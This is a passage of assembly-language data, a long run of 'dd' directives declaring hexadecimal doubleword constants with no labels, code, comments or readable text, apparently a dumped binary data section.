		dd 2FF02343h, 1C7D83ACh, 448E3Dh, 0F8FEC29Ch, 0C958BA4Ah
		dd 0B90500E4h, 9ACDD9D7h, 24400715h, 87585141h,	1701D00Ch
		dd 0E60379CEh, 231E76DCh, 0A9180ECFh, 7E0F50Bh,	843DB3FAh
		dd 879ACB00h, 8B75BD80h, 45095C7Eh, 0B00793Bh, 2B7AE7BEh
		dd 3DFE726Dh, 0CD66E10Eh, 56B5E043h, 89BBABh, 1AD65A0Ch
		dd 197009B6h, 0B960F975h, 85479F28h, 0A353BFBh,	42BCF207h
		dd 0F840104Eh, 750662E7h, 8D7A7D3Eh, 240C0060h,	509A2851h
		dd 8C02A49Bh, 0E94B66E5h, 0B8BE40F2h, 62778Bh, 0DEBB01ADh
		dd 0B2B7244Eh, 1E1A4373h, 80E08A14h, 0D888FE0Fh, 94630344h
		dd 0E05D818Bh, 0AC9AC88h, 7C02211Eh, 30D3A00Ch,	0DDEA66h
		dd 6DF795E6h, 8885838Fh, 0D4591E1Dh, 0B5CC0200h, 7C86FE09h
		dd 0F9D61E36h, 0E39B00B8h, 83B9F33Eh, 0E6C04E1Ah, 0D712C0F0h
		dd 580B607Ah, 0F4FE8A54h, 0F41E30CFh, 2E1C7C95h, 4A40D9E8h
		dd 88773A8Bh, 213AC040h, 0C05FBEBCh, 63C14E26h,	7007B800h
		dd 0E9F4A67h, 3F14EEDDh, 2860C0AEh, 7836FF66h, 0FA91C0E9h
		dd 0E432B103h, 8F0D4B90h, 0AA19A481h, 15118A6h,	4ED8FE7Bh
		dd 1416F0F4h, 0DC0CBE51h, 0A8880C47h, 83FE84FCh, 0A8AC0B44h
		dd 84D93624h, 0CFB4020h, 0BADAE2CDh, 0A0107E18h, 4207D094h
		dd 40115414h, 1562C8FBh, 6BE5A606h, 1F21760Bh, 99DB5B8Eh
		dd 83875066h, 0A98FC369h, 78390105h, 6BD9F5ABh,	0D5C0C3EAh
		dd 0C978F643h, 677AC19h, 0DE10AB70h, 0C2289567h, 0E0EB0864h
		dd 7688AD13h, 7A940360h, 8F7EFAA9h, 41A8B499h, 3082BF64h
		dd 0F40C0A02h, 90909769h, 0EFB6030Fh, 0D2F2F160h, 6EA0C990h
		dd 571B1F15h, 7ABB04A4h, 3906A336h, 0FAF8B810h,	7906DBE9h
		dd 8C7DA074h, 22201DE1h, 232B805Fh, 6FA3DC2Ch, 0F9FCC600h
		dd 0AD8A26C8h, 1F70011h, 97EC2F82h, 1D0021B7h, 2DBC5F6h
		dd 5DA1C84h, 4A25DD47h,	0FB1468CFh, 2980B460h, 3B0F27C2h
		dd 430E1F5Fh, 0E13839A5h, 0B700ECF2h, 568208CBh, 7453868Dh
		dd 90EA505Ah, 0F65048B1h, 0BB6A047Fh, 878042D2h, 7812630Ch
		dd 6000A093h, 0D80211FBh, 0C86C69Ah, 0D6FEF8F3h, 13603D08h
		dd 0D92D5F20h, 7B3130FFh, 6E99FA96h, 0AF6BA4A0h, 921D3C90h
		dd 1940B003h, 9D355660h, 0AC58890h, 78882A30h, 0EDEEC4B4h
		dd 0FCDA2081h, 2416A94Fh, 9800A25Ch, 0C9C72A60h, 0E5C1396Dh
		dd 0F0440895h, 3C60B550h, 2A18D597h, 7F01810Fh,	0B8F4CC50h
		dd 0CB0001B8h, 11718E43h, 0A51CD7h, 0E6B2E8EDh,	65699732h
		dd 0CDE71D03h, 0D89523C1h, 2CDCD06Ah, 0BB352h, 9269297Dh
		dd 0DB260793h, 9F002DF6h, 0A967567h, 0A2F9018Ah, 26532E72h
		dd 0EF4F3031h, 0AC0411D0h, 0F7711F24h, 0CC6E005Ch, 0EEC57A9h
		dd 2C787F7Fh, 0BDB13401h, 6AF18840h, 44CB2180h,	0A5064E3Ah
		dd 8FCA7E1Dh, 4CEC3F40h, 7AEFA0B0h, 9DF00066h, 48381120h
		dd 0ED262ED7h, 1F00A4FFh, 548ACE27h, 103F0066h,	57569735h
		dd 477576D2h, 0EAC09100h, 70A3B544h, 0B45800ECh, 2F89DFCh
		dd 0BC501743h, 0B700D5BAh, 3EFE9A3h, 0F3D800Bh,	3930079Bh
		dd 0A8AFFC60h, 3F00A5EAh, 41FD45C4h, 40F9E1h, 0D6695053h
		dd 3E6E7236h, 0C67FE700h, 128A107h, 31B20F6Bh, 8A2FA92Ah
		dd 0AE3E060h, 327E2145h, 43192700h, 0DCE5622Bh,	18FE08h
		dd 479E1FEDh, 0F075AB51h, 42634C00h, 2DC3A5EBh,	25BE0068h
		dd 3876F741h, 95006A1Eh, 43043B8Fh, 0B2A9CFh, 0D66F8508h
		dd 5561758Bh, 0DFE6300h, 3DD37F33h, 135C0057h, 0BA269A86h
		dd 0CC00DEEFh, 0C774A343h, 5FFDC0h, 0F57170B6h,	29E8EA04h
		dd 80D39605h, 0BB871CDDh, 0CF87AC0h, 1898FEBAh,	40EF9BADh
		dd 0A8008FD8h, 8C109586h, 16F23882h, 75AB2BEh, 0E20ACEBCh
		dd 0A2409C3Ch, 0F801D6E2h, 0B0C36793h, 142043C7h, 1E5CB0EFh
		dd 40AE2C57h, 0D36DA4EEh, 0AA004E45h, 0AD73F57Fh, 0FAF60906h
		dd 3A3E0A36h, 0BC59A1h,	0ECB239BAh, 10C067EBh, 0CD91CFE3h
		dd 1CAB0084h, 4D9B2E35h, 5E072B8Eh, 0B3B174F7h,	3DBC9700h
		dd 12D40144h, 48EDFDF0h, 0C435F8A9h, 0C216B007h, 2009CF32h
		dd 0D5B95C68h, 117E001Ch, 0F7B16364h, 0DC0F6BDEh, 209D434Fh
		dd 759504FAh, 0D098093Fh, 4D032D59h, 78D8516Eh,	9A00E0DEh
		dd 0FBF85F10h, 342446Ah, 3785BFC4h, 7640874Eh, 40002C96h
		dd 0EF5B598Bh, 3F9601Ch, 0AA58F163h, 65903674h,	490784D6h
		dd 0E8A026B7h, 9DB1DDB0h, 3AB30011h, 3F6B3C87h,	0C1FE9CB9h
		dd 0EE7DF00h, 252394A8h, 0C98500E6h, 636F6135h,	8400E3F0h
		dd 0A4690D1Fh, 787D03Ch, 7EDB4F40h, 9900CF72h, 8CE9AC43h
		dd 8251F93Fh, 502A46EFh, 0C5104049h, 3E2A0A7h, 101F018Bh
		dd 569CFC70h, 460D665h,	0E61E04FBh, 940FE8Fh, 0B333A35h
		dd 7B3F00D7h, 5F6BEAA1h, 0B10ECB0Fh, 0DCE30C74h, 0DBECF500h
		dd 39059C2h, 0B839384Ah, 79A9CD51h, 0CEC42016h,	8027353Eh
		dd 5D5A0B20h, 307C9E3Eh, 3C214A5Ch, 71386AEFh, 67EE00C1h
		dd 86F50E59h, 0E0E8A0D4h, 0C02A888Eh, 0E54F6900h, 20BB64F4h
		dd 0A70F5074h, 0CC490089h, 6B17BEB8h, 3000F8D0h, 3BB62665h
		dd 0A01E2Dh, 0BC07DACDh, 0D4D6C595h, 3272C7FCh,	0FEC3680Eh
		dd 2ABFC3C1h, 879CF8F4h, 3FAA02C8h, 0ED05B883h,	8B5A7040h
		dd 6D419503h, 8FA89F06h, 0C9C0805Fh, 24304E38h,	2645C8Ch
		dd 0AE1B1AEBh, 17A6D283h, 8098C3E1h, 48B850C8h,	3BFB2BE6h
		dd 52B0727Dh, 4FD762D8h, 0CB51900h, 0CC8EEB20h,	0DF0A0075h
		dd 91691374h, 4000B835h, 26C4AB96h, 3326A1Dh, 0BDD048A6h
		dd 0FB83760h, 3103476Ch, 35035636h, 0F37AC8D5h,	0A9261E08h
		dd 812AC0ECh, 66E81034h, 0DD79B100h, 28D76527h,	180100CAh
		dd 0B27E3DDFh, 49011529h, 9808DB3Eh, 53DC02D9h,	5B970F99h
		dd 92E009A1h, 652CF18Dh, 0A49A5E00h, 1B334DA6h,	9D760012h
		dd 0A3C28040h, 44EED32Ah, 0A7A23200h, 0E7F3AD62h, 55DE0074h
		dd 9F1FAFA4h, 16005DB1h, 65197186h, 1E9D10CEh, 4EA53134h
		dd 87A0AEA9h, 25E28A8Ch, 585F4F01h, 217A1288h, 36579CCh
		dd 0B00872C5h, 0A90CF56h
		dd 581F4EF0h, 0BCCE47FBh, 6FD74243h, 4BCD809Dh,	14A4F7AFh
		dd 0BCAC5AE5h, 8E49BE00h, 8BB701C0h, 95775301h,	0BC746550h
		dd 2FECE3F5h, 6D1F00BBh, 0ED147645h, 6224EE5Fh,	0FB8764AEh
		dd 0B6F0A7F5h, 0D78309h, 694252FDh, 0C123CF25h,	71935400h
		dd 0E2B45B1Fh, 585D00EBh, 0D6ADBED1h, 23261708h, 908304F8h
		dd 0B0248FD5h, 58076878h, 580451C6h, 8381A54Ch,	43D09188h
		dd 8000EAF2h, 0C535D4BDh, 0E0A49E6Fh, 0D0A962B3h, 4BC0D98Ch
		dd 8D003E9Bh, 46757FA5h, 0E334C4h, 515E9CC0h, 92F3A05Ah
		dd 0D5302BFAh, 374110EDh, 0EAA40053h, 0C2D90D7Ah, 36007F2Dh
		dd 0CBF64B99h, 60FA22C3h, 846750A9h, 861BD1C4h,	60F7CAh
		dd 102BF568h, 0C82FFA0Fh, 30B72602h, 48272A4Ch,	5297DCh
		dd 0C10E4B35h, 0A6B898D4h, 8E681501h, 0C40833EDh, 5C075E8h
		dd 0CA5CDACh, 93B801E2h, 0FD1930BDh, 0CB5C610Bh, 3B031D8h
		dd 14A14801h, 70D98BDCh, 0CCBCECh, 0CA0CE55Ch, 7A10B6D6h
		dd 46AE2003h, 0F98F22F8h, 0BF43D1Ch, 323E1F35h,	0ACCB80FAh
		dd 0BC126B2Bh, 0F51EBF00h, 0A105E411h, 0AF60031h, 0F1C448CCh
		dd 66037347h, 0A27080C9h, 4D8FF0D8h, 9DE400E3h,	7B9F0927h
		dd 0F300EC1Ah, 573CCE85h, 3EB24CF6h, 0D63E77BBh, 0A497007Eh
		dd 0F03869BFh, 220F313Dh, 80514498h, 1B56C635h,	37823E08h
		dd 8DEC0500h, 83B11510h, 3190FA00h, 3C7A14E6h, 0B0720059h
		dd 89405E85h, 0D4FD1A7Eh, 0F0008C50h, 0A033EFB1h, 66DB88h
		dd 7B4D4312h, 5377110h,	0A5187400h, 0F4C779C4h,	0EBDD0020h
		dd 993484BFh, 7A58AAFCh, 101B057Bh, 1CD0D2B7h, 7171ADEFh
		dd 133B03DBh, 0DE8D055Fh, 2B3700EFh, 89000E65h,	28A4400Dh
		dd 2D1E4CBh, 0DCEE08C1h, 4EAA6F9h, 8C980EC0h, 83CC2D0Eh
		dd 0DE292034h, 588AE192h, 72003873h, 0FA862865h, 5500ADBBh
		dd 0CC79D03Bh, 0FE6E68D5h, 0D1103DEDh, 6F65C881h, 715F078Dh
		dd 69440054h, 86008512h, 4C34C792h, 187BBDBFh, 6071235Bh
		dd 0B64D2DDCh, 0C0D700B4h, 0DEB78AC4h, 774202BBh, 59F43046h
		dd 6CB164E0h, 0DD7208C0h, 3A5F4364h, 0A6753277h, 0A3730014h
		dd 18F70E64h, 0AC3A74CDh, 3351004Ch, 0FCBC7CE3h, 0B9AB0071h
		dd 57C591BDh, 0AA3C06A8h, 451701EFh, 6518F44Ch,	3208C24h
		dd 3DB10751h, 3CC06890h, 6A0054B3h, 0F63756CDh,	160AE02Ah
		dd 8E3DD6h, 624334DFh, 70A024AFh, 80C1A452h, 5DEC1774h
		dd 0BA0A0C40h, 8B82076Ah, 5022C257h, 1A79CCCh, 0E5633E00h
		dd 1FADC42Ch, 33750011h, 69D5CD8Dh, 6F17F066h, 0DD00CBCEh
		dd 0BC140277h, 62240075h, 0E9BFB1C5h, 0A22A04B0h, 0AA01E081h
		dd 0DA5CE34h, 8AC5B39Ch, 0C95ACCh, 0BEB0789Fh, 535CA2FBh
		dd 444BE101h, 5A1ED26Ah, 0D780B8BAh, 0AF3D8F67h, 1D3A47F2h
		dd 0F3648004h, 9270E618h, 0B7810349h, 46C9EC44h, 2559C0D7h
		dd 2225C7C8h, 945C80E5h, 85F6Dh, 0EE27FD30h, 29BC314Dh
		dd 8535B800h, 0EB1D655Ch, 1A6D3AF6h, 2B6F9D81h,	304181E5h
		dd 70588EDEh, 355D0F39h, 0CC01EAE6h, 2BB05A80h,	0F606A7F9h
		dd 0C3A90F77h, 12A11DC6h, 0D0900A45h, 4100F2DEh, 78D15DB9h
		dd 0D023A2C3h, 0D200D420h, 65171870h, 9F03A0FFh, 0D0BB0CE1h
		dd 1E381550h, 420718E6h, 90891081h, 67AF5D35h, 0CDFE007h
		dd 65773A3Eh, 0CA60AAE0h, 411F00B7h, 753DDE50h,	1E01DF29h
		dd 4BCCB22Eh, 0E4C0E34Ah, 0A3AB1D72h, 0DDBA0CAFh, 0F600E920h
		dd 5754AE8Eh, 1895C821h, 8828556Dh, 0C67D181h, 3FC72E90h
		dd 8D1D3EA8h, 1BAE86FAh, 0E0EB152h, 146277Ah, 0FB0209D6h
		dd 210C0998h, 2700426Eh, 0C7713BAFh, 0C67E1E5h,	5D798A8Bh
		dd 0D2714361h, 0BE920C37h, 28199596h, 0EB1EC61h, 8652BAFEh
		dd 85DBE181h, 0FA7CF832h, 3F804E03h, 788CE75h, 0FD286930h
		dd 2B3B40A8h, 0FFFAE487h, 2F6CE20Eh, 3C1440B9h,	3DC19BAh
		dd 9680FA17h, 0D80C2571h, 0B1078CBBh, 34AF307Fh, 2C824519h
		dd 994AC80h, 0CE1F7871h, 0F94BD900h, 64001772h,	4DF241F8h
		dd 1C1DA89Ch, 0C737A762h, 70137FCCh, 0B00D5A1Ah, 21320203h
		dd 3096F2h, 0C8C12E69h,	2267C48Bh, 405D5200h, 3F38BAA8h
		dd 654A3CBCh, 0BC14E315h, 41802500h, 5A7528EDh,	18C119E8h
		dd 5FAF58FBh, 3CC3518Ch, 10035B9h, 9353E59Ch, 0ABF14Ch
		dd 474F5E32h, 3DA06FD5h, 14578224h, 96EB9541h, 7594F960h
		dd 2AF3A31h, 814C4CC8h,	5C5124h, 0DD3FE707h, 61F5A209h
		dd 14004C14h, 3B402438h, 33224366h, 273C1C00h, 8AF3630h
		dd 0E31B0070h, 6E5D873Bh, 2C06A9A0h, 8E8A763Ch,	2E7E7330h
		dd 3706869h, 0B292EFB6h, 0C47B082Ah, 694E1000h,	26E17F2Bh
		dd 0D1D3284Fh, 416C1864h, 78E6C028h, 7A0C3801h,	0D0122D34h
		dd 6F2AC1F0h, 7E0728EBh, 3D93B047h, 160E3146h, 9FDBBD6Dh
		dd 0AD202658h, 0DAEC44h, 2329C41Bh, 1AB79C6Fh, 0EA070101h
		dd 0B622639Dh, 0A0D4C0AAh, 0A4422C10h, 69040464h, 62BC58FAh
		dd 0BE202E81h, 2595D969h, 0ABED6D00h, 0C78FD8F7h, 43FF0627h
		dd 0B80C3ADFh, 38394C46h, 9E421484h, 230F32D2h,	90983DA4h
		dd 0E000BC69h, 8E4052FEh, 6FCB3163h, 8CE0B0DBh,	0DA2E27B3h
		dd 1839C324h, 0EF21583h, 0FB87E080h, 2A961221h,	476E00ECh
		dd 4270EA4Fh, 30AB4Ch, 0CEF8C11h, 41DA5Ah, 0D0E51D2Dh
		dd 0F4883BBDh, 12C82407h, 0B110CCB7h, 4AE4DABh,	5A0EDBFFh
		dd 28C7C03Fh, 9D00B46Ah, 85431F42h, 2BF2F27h, 0FDEE535Dh
		dd 0A980827Fh, 0F8130878h, 0BCAA1800h, 0CA2B38F0h, 44A5390h
		dd 0BDF10CEBh, 1FC010E9h, 49A674h, 6AB570E2h, 0CC0159EFh
		dd 42833112h, 47D4B14Ch, 7B2300C0h, 89E21D4Bh, 0EE01B792h
		dd 30959859h, 0FB301E83h, 8CB400DCh, 69245258h,	0B503ADC9h
		dd 1980FE7Eh, 0F320005Eh, 0A1342EDFh, 3004510h,	161F188Ah
		dd 2E02B424h, 0A682F6h,	0BD9422Fh, 0A905BCC1h, 652D1E5Bh
		dd 0AACCC0FBh, 200AE57h, 0B48E5136h, 2C7248h, 5FABDF5h
		dd 420A1E8Ch, 0B3DEF000h, 644FD71h, 65F50135h, 8620316Eh
		dd 0DF1BFCDBh, 115FEE17h, 3DF9B800h, 3EAF6595h,	683ABF36h
		dd 0D2D74E0Fh, 0E094D947h, 0DABDBE31h, 6375AB00h, 0E166290Ah
		dd 7630002Eh, 0E2570279h, 0C139AE49h, 0D6508041h, 90D56CEFh
		dd 620D0082h, 6A9D47Dh,	1800A88Dh, 4E3571E3h, 1E84FDE8h
		dd 0EA3016h, 44F86F02h,	381D4057h, 320066ABh, 2168AE3Eh
		dd 50C8012Ch, 767CAF93h, 0EC56D04Dh, 0A0B2E703h, 0B87EE4B5h
		dd 0F04BC5h, 63F11658h,	20374704h, 0E0882207h, 0FA60FE5Bh
		dd 84259h, 0D439EA57h, 6C4168F8h, 0C26B3800h, 0AA8EF0D0h
		dd 1F4500E8h, 0CB985699h, 0F6EA7F15h, 0E0686A01h, 0F4F7A877h
		dd 3D3F320h, 1FAAAD43h,	0D7F86B7Dh, 0FA095E45h,	268B69h
		dd 62CE9D34h, 5F56008Eh, 1344C367h, 0BF3A7721h,	15B70082h
		dd 0D7501126h, 6CD2288Bh, 0D36601E4h, 55EEDCF8h, 60CC8CFh
		dd 0D000877Bh, 0E1B62F97h, 2796C2h, 0BDD438F2h,	0F3CC0556h
		dd 1D707B49h, 7C4AFFACh, 0F84038A5h, 72CF8469h,	0A3733DB6h
		dd 3F4CA500h, 0A1C3966Ch, 5B26BA03h, 0C01061C9h, 0F9DD87h
		dd 9F8C80D9h, 0D25E669h, 0A34CED00h, 231833BEh,	0C88407EFh
		dd 7239B4E9h, 2A603BB2h, 3C002F95h, 0AD309396h,	0B92537h
		dd 2D39682Bh, 22E9C21Bh, 0EDD35500h, 0D4735E7Eh, 4BEA0071h
		dd 721A1E09h, 5628B3FCh
		dd 0F779A0A9h, 37C7C500h, 0E33CBDDEh, 0A0DA03C4h, 7C299385h
		dd 54048D8h, 0A1B83F00h, 1CB40D55h, 0CDC20066h,	391A75DFh
		dd 90032DB5h, 73D03130h, 0C868DBB1h, 40980Dh, 4D44335Bh
		dd 23A809BDh, 0E86F4A02h, 6B527EFCh, 675A8014h,	0E54928DDh
		dd 0F68D00F8h, 5156F460h, 101CAE7h, 0CEBE3C23h,	9981750Bh
		dd 5AC7798Fh, 2CAC4024h, 2009C82Bh, 0CC553A9h, 0CE95487Ch
		dd 0B741F058h, 98392D10h, 29B8FA70h, 28D154BCh,	3DEE6Bh
		dd 8450925h, 87E3388Eh,	0D6E98900h, 0BD2FFDDh, 4CC3196Dh
		dd 0FC61302Eh, 1003135Bh, 0E85D2AF2h, 8815902Bh, 0A04C1859h
		dd 94922956h, 0CFB78000h, 0DC8AD297h, 8710123Dh, 0A2C40F1h
		dd 4E50FA2h, 0C4CE8900h, 877B54D3h, 7E0901C2h, 8F597ACCh
		dd 75D08033h, 0B926986h, 49A5009Ah, 5FEC6268h, 85004A47h
		dd 516CCDD5h, 5A2F08h, 19CF83FEh, 5E87B57h, 8BB4BF0Eh
		dd 0B8092577h, 0C17C8020h, 42D90C46h, 1B03694h,	4EE1DB00h
		dd 47085C4Dh, 46F50986h, 0BC186A11h, 0CC0909C0h, 776E290h
		dd 99D497h, 0C3184CDCh,	0E49A54AFh, 23838DBh, 425BF180h
		dd 28391906h, 502CD800h, 29856D8Dh, 0C50E034Ch,	73DB800Ch
		dd 0BFD318E0h, 0C3D69700h, 459F3E65h, 165A297Eh, 0DF2284F4h
		dd 43C481CBh, 8D78801Dh, 8FD7F8A3h, 0A8C90002h,	0AF7312A5h
		dd 5AF003EBh, 7D00649h,	0CCB6DE42h, 28315620h, 3144EEF4h
		dd 0D4B0E889h, 1806AAF7h, 4A5D20h, 65EE2F57h, 9EB029F3h
		dd 20FC8E73h, 0B2002590h, 0B318F5DFh, 0C1E39Fh,	7AE10B25h
		dd 130EB47Ch, 66092003h, 1EED91h, 0F355AC80h, 72786FAEh
		dd 0C84E80A0h, 18F22A00h, 918DC5C9h, 50CD1D7Ah,	82706C0Ch
		dd 0E92B66DCh, 0A5631860h, 7B0D3700h, 916FDD7Dh, 0B31A098Bh
		dd 38A0CEF8h, 7C0733B2h, 52266906h, 38AE5Ch, 0F5608FECh
		dd 3FD4BA84h, 0F0B3453Ch, 68CD4626h, 0D9E7A080h, 0FC5E3512h
		dd 0E4ED04CBh, 0D0655841h, 7C98C9ACh, 0C11D2490h, 0D3C02B8Dh
		dd 35E93976h, 269F01DCh, 0FA7F686Dh, 21B04C17h,	0AD2A89FAh
		dd 2677D8E5h, 0B732C602h, 60A09134h, 59AADCh, 0BB1F691Ch
		dd 5EA142E1h, 82085F4Dh, 486A7919h, 28A20D4h, 0FDA58439h
		dd 0ECA7025Eh, 0D1E25246h, 84803C9Ah, 18B5CFEAh, 77BCA00h
		dd 0FF4C1A9Eh, 47C8A8F0h, 14AB00C1h, 2FA2CB0Fh,	540083FBh
		dd 5EF7F87Ch, 367784h, 34046DCEh, 9366FAD3h, 0E58E600h
		dd 1DA00F9Fh, 7F44F8C0h, 0C87000BFh, 0ABEC38B6h, 0F1FB40A1h
		dd 2C596056h, 79CA0D00h, 0F111E7FBh, 0F22007Ch,	785CA773h
		dd 0DA006B1Fh, 0A5B6F60h, 36700Ch, 65AF8ABAh, 746917A2h
		dd 752B2307h, 7C3021DEh, 73D2F46h, 6D3A5249h, 7D56F0F1h
		dd 0C200305Fh, 7EE57914h, 6C05A9h, 0BB946641h, 250CB70Eh
		dd 57867660h, 13B44F1h,	0CE01D867h, 0E0A5F25Ah,	0A000442h
		dd 0B22A7AAh, 7496968h,	0D780D32Fh, 2BBE30AEh, 3B0076ECh
		dd 0ADFB7DDEh, 1A2A399h, 6244B5FDh, 2482E45Fh, 81791B28h
		dd 207D802h, 0C35C47C2h, 4942B81Ch, 14DFFA83h, 0F0DCD2C7h
		dd 0EDE3D70Eh, 0A4064EC0h, 5770B61Eh, 4264D00h,	836EFEBFh
		dd 37A93E82h, 0D886CA80h, 275D205Bh, 6B305202h,	621CF013h
		dd 934380D6h, 3D48A6h, 24C8815Fh, 0E3585316h, 8A507200h
		dd 7A673A76h, 4A0B07B2h, 80B084C4h, 0DDB6A8D7h,	7456C000h
		dd 1CF2D959h, 0A1BD0053h, 4087BB70h, 0F700280Ch, 8D3F4B57h
		dd 0FE7CB3Bh, 3A9563A6h, 0C7DAC8A5h, 0DF23B08Ah, 0EB26CDECh
		dd 26092049h, 85ECA1CFh, 3C2020C7h, 0F0EF489Eh,	1E994C02h
		dd 90488A6Fh, 0F09F5D89h, 488D7522h, 4E0FB87Dh,	0C3406BDFh
		dd 2428D549h, 9C277B2Ch, 0A891B000h, 486A7CA7h,	131EF4CFh
		dd 44B100FCh, 745FD25Eh, 75802700h, 0B8D319DFh,	0F4912664h
		dd 5CC00F5Bh, 0A0E41AC4h, 62E48520h, 3520B600h,	0C8912E3Ch
		dd 1B8BBAFh, 56D1B9BBh,	7D91414Ch, 82903542h, 0D26E8ECh
		dd 0D0C7D2h, 0D7A6694Ah, 2D0CED05h, 0D8BE1EEFh,	2FF10223h
		dd 2BA1241Fh, 335D6899h, 0B8240538h, 3580F493h,	0B6E161h
		dd 9457B70Ah, 6FEAB1C1h, 0AB053DFAh, 0CEB90F71h, 3F43CCC7h
		dd 35413AF8h, 0DEA1500h, 0B762B5A4h, 0B6536806h, 16784472h
		dd 43E01AE5h, 55D08A88h, 13E0DECBh, 6574E984h, 731FC402h
		dd 43EF7706h, 0B544F3F5h, 58A7508Ch, 92C6D888h,	567D49CDh
		dd 0F0248C0Ah, 63137021h, 0C070A850h, 0EDA9A318h, 9689AB6h
		dd 0F482DCEFh, 0BA0E9020h, 0A0076ABBh, 3EA16D27h, 0F4B611Eh
		dd 582970ABh, 0B80B4F00h, 9266FE56h, 815E5900h,	1867DB88h
		dd 0F948D0E3h, 171B9100h, 266EEF6Fh, 0FD1D0600h, 0DEF18C83h
		dd 3802727Bh, 22809918h, 35385593h, 0EA2C33B8h,	0CB01C075h
		dd 518FE427h, 0A2EFECh,	0E0C4DD79h, 466120EDh, 587FB301h
		dd 0D7F05FB2h, 928F80E6h, 0C8EDADh, 0F203A0BFh,	42EE7826h
		dd 0A1EBC60Ch, 38A8F077h, 57003230h, 1AB93A9Ch,	0E47683B5h
		dd 948559h, 0FD5F6C06h,	61339FB4h, 0D8F1D0D9h, 4840A41Fh
		dd 97143C2Ah, 7AC8AC7h,	16DAA87Ah, 5A4F5BB0h, 0F3EB0077h
		dd 72D4E5F5h, 2200D527h, 66299ECCh, 7DF96416h, 0D7B80018h
		dd 0FA2ED8BAh, 0C500DBC6h, 0C481A9Ah, 0F436603Bh, 0A43F1E63h
		dd 0CBD8CF8Ah, 0E6C0BC60h, 0F702F2F0h, 21B793C5h, 858AC037h
		dd 3587259h, 0E722453Ch, 0EEE289AEh, 0B7FC0C60h, 78F0800h
		dd 721CF8B5h, 3C2A019Eh, 125B87BDh, 28219271h, 0D84510h
		dd 98C2E607h, 1E8A160Ch, 1E835EEh, 5B1B293Bh, 0EF69E88Bh
		dd 92676101h, 0C50D5766h, 26D2C082h, 94801D76h,	18AABCCFh
		dd 297D2200h, 80B6E69Ah, 6CE001DDh, 90A5054Ah, 0FA19E095h
		dd 4BB55800h, 288CFFB8h, 1BF7D6Dh, 6576DC40h, 0C0D425F6h
		dd 0AC067FA3h, 0F55CD082h, 0C5550928h, 5A80E150h, 1D21082Fh
		dd 0A749B300h, 0A58940A4h, 52A100ECh, 88EE3763h, 0AD00DB73h
		dd 7A03386Fh, 3680CFh, 72151214h, 9EBE8CF8h, 59657500h
		dd 0B39058B0h, 0E8EA0079h, 31197B4Ch, 0C3004B1Dh, 36D2912Ah
		dd 1DC6A28h, 751888A2h,	0EEB62294h, 60C68E61h, 133C3C84h
		dd 0EB3AF8BEh, 0D59880A9h, 9B3E0F8Bh, 8D5A00BDh, 9E20FCC1h
		dd 0F0076159h, 7599C8BBh, 0F4224010h, 18B7003Bh, 85511BBCh
		dd 0EE3061BEh, 6EAC8A6Dh, 899C00AAh, 56D0E581h,	930F4ED3h
		dd 0C08C4978h, 0F844C7A9h, 0DEF00017h, 0FC03096Bh, 0A600CF8Bh
		dd 0EED49027h, 0F0DC368h, 0B4470F88h, 0EAC45380h, 62000637h
		dd 0C139557Dh, 4EC36189h, 0A2ECDAh, 0DD4B355Ch,	6C34F7h
		dd 0C24340B7h, 49F17496h, 789E5124h, 212C210Fh,	0EF63CAACh
		dd 0AF00343Ch, 42512884h, 90387FEDh, 5BCA80A3h,	0C3C87B81h
		dd 9B6918FEh, 0A93254D8h, 0EC002E77h, 0E0D49609h, 4331D6h
		dd 0BC8618D5h, 0B1CA9037h, 0A94C0EB8h, 0EE9E014Bh, 2F3A9B3Bh
		dd 1E206C60h, 80BF7A6Dh, 1D3E36A0h, 0C20119B4h,	67D4FA44h
		dd 208BB60Bh, 54A3380Ah, 2EE01078h, 0F3006340h,	65269820h
		dd 0EA8D5005h, 0F2B40018h, 21B5B1E3h, 100CD91h,	804AA855h
		dd 0C22410h, 0D8D5945Dh, 0B9F4DEABh, 1EB2873Fh,	0C38FCAE9h
		dd 64A2C0BFh, 582AFAh, 0C1CC947Bh, 0B71B03EDh, 0E7E01E00h
		dd 71280E08h, 74B27Dh, 9C16765Bh, 0FE7E8501h, 0C64DC100h
		dd 8CDB0E41h, 75E73054h, 0C307FC20h, 80837612h,	63B00400h
		dd 1D6177C9h, 0C19D1E8Eh
		dd 59442A0h, 886EF432h,	0CA935613h, 0EE8510C8h,	1F95002Bh
		dd 0B947613Ch, 6800B4B0h, 49EAB872h, 7A9B3A27h,	0A6D20251h
		dd 210A77DFh, 1B04E070h, 0E264972Ch, 0C94C78C0h, 73780020h
		dd 4A175F7Eh, 6F00FBE1h, 59632514h, 0D0347Ah, 0ACB704C4h
		dd 0BFE1156h, 1913E700h, 0CF3D03EEh, 0A6830051h, 0C3AAF1F0h
		dd 0EB1D0A93h, 1380B1ADh, 35A86CC1h, 9ABE0301h,	0F4C4E216h
		dd 8EC2BBF0h, 830B5B00h, 0FADDD14Eh, 7A800106h,	0DB68D80Ah
		dd 9535C487h, 3F134A00h, 0E8B621BFh, 28CD0034h,	0AC6254E2h
		dd 0BE13943Bh, 72007C07h, 9270E805h, 8CA4021Fh,	0DEB4BD56h
		dd 0D4F1B561h, 773D6EE5h, 0EBB30073h, 0C220F832h, 0F4FEB6h
		dd 78975EBFh, 21B9A6C4h, 6A0173EEh, 2019A70Dh, 0A5D4178Ah
		dd 0AF56013Ah, 943072BAh, 0EC5C21D1h, 2C043EC9h, 508F5C64h
		dd 0DBE0F4A5h, 57BD002Eh, 4A2A56FBh, 0BB5D21CBh, 67180090h
		dd 8BB4E693h, 2E522E5Bh, 603701F4h, 2087953Ch, 6C032328h
		dd 678546C8h, 9C10014Eh, 0A1EE471Dh, 0C0CC0349h, 3644CDh
		dd 96EF6AB7h, 8F8411Fh,	0C9AAEC00h, 8D73D190h, 77521961h
		dd 0E82BB02Dh, 45011EA5h, 0CE50DF23h, 0D7C0A426h, 0B521C02Eh
		dd 0AF3DEB14h, 0BC37C42Eh, 8FB10F83h, 592903A9h, 83D820F0h
		dd 78421E00h, 0A2A0A49Eh, 6C630382h, 0CE54BEC7h, 23A3501Ah
		dd 2D0437B0h, 0C2182495h, 805E5708h, 111140D8h,	52018A06h
		dd 9FC628B6h, 84270223h, 0D704941Ch, 0CBE805EFh, 0E0E12023h
		dd 74F8D44h, 1B5D2832h,	98470630h, 5009116Dh, 319542C1h
		dd 223F4CDDh, 23A00962h, 39100C82h, 891F1C86h, 0A1A810C7h
		dd 10C850CAh, 0A71460A1h, 9804D008h, 0F8B3D970h, 5444A046h
		dd 4AC8CCF1h, 1CA6A6D1h, 6948277Dh, 0C086830h, 31BE1448h
